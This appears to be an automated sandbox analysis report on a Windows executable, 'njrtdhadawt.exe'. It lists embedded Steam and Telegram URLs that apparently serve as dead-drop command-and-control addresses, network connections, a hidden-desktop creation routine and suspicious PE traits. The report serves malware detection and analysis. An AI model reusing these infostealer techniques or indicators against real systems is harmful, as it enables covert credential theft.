Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=engli
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=47omfdMZRDiz&l=engli
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=iGFW_JMULCcZ&
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&amp
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcD
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&amp
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=engl
Source: 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=nc69vwog8R9p&l=
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=bpFp7zU77IKn&
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=n4_f9JKDa7wP&
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=0y-Qdz9keFm
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/toolti
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&
Source: njrtdhadawt.exe, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/Y
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%d-
Source: 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199794498376
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: njrtdhadawt.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199794498376
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199794498376)
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199794498376/badges
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199794498376/inventory/
Source: njrtdhadawt.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199794498376idr7ffMozilla/5.0
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://t.me/a
Source: njrtdhadawt.exe	String found in binary or memory: https://t.me/asg7rd
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/asg7rdU_
Source: njrtdhadawt.exe	String found in binary or memory: https://t.me/asg7rdidr7ffsqlo.dllMozilla/5.0
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/nj
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/zj
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/img/t_logo_2x.png
Source: njrtdhadawt.exe, 00000000.00000003.1510994054.00000000039DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FE829D _memset,wsprintfA,OpenDesktopA,CreateDesktopA,_memset,lstrcatA,lstrcatA,lstrcatA,_memset,lstrcpyA,_memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00FE829D

System Summary

PE file has a writeable .text section

Source: njrtdhadawt.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE144B GetCurrentProcess,NtQueryInformationProcess,		0_2_00FE144B
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD50DE0 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,		0_2_6CD50DE0

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_0100D001	0_2_0100D001
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FFB194	0_2_00FFB194
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_0100D3D3	0_2_0100D3D3
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_0100CC63	0_2_0100CC63
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FFBEF4	0_2_00FFBEF4
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_0100D7BB	0_2_0100D7BB
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_0100C7CE	0_2_0100C7CE
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF8F8C	0_2_00FF8F8C
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD5EC60	0_2_6CD5EC60
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD4CC11	0_2_6CD4CC11
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD39DF1	0_2_6CD39DF1
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD15DB0	0_2_6CD15DB0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD3FDA0	0_2_6CD3FDA0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD4ED70	0_2_6CD4ED70
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD2CEB0	0_2_6CD2CEB0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD38E00	0_2_6CD38E00
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD55F20	0_2_6CD55F20
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD3D8F0	0_2_6CD3D8F0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD3F8E0	0_2_6CD3F8E0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD388A0	0_2_6CD388A0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD5390E	0_2_6CD5390E
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD58BE0	0_2_6CD58BE0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD285E0	0_2_6CD285E0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD515E0	0_2_6CD515E0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD1257C	0_2_6CD1257C
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD5E680	0_2_6CD5E680
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD5A7D1	0_2_6CD5A7D1
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD127E0	0_2_6CD127E0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD41758	0_2_6CD41758
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD2A700	0_2_6CD2A700
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD6D735	0_2_6CD6D735
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD240D0	0_2_6CD240D0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD3F1D0	0_2_6CD3F1D0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD16170	0_2_6CD16170
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD282C0	0_2_6CD282C0
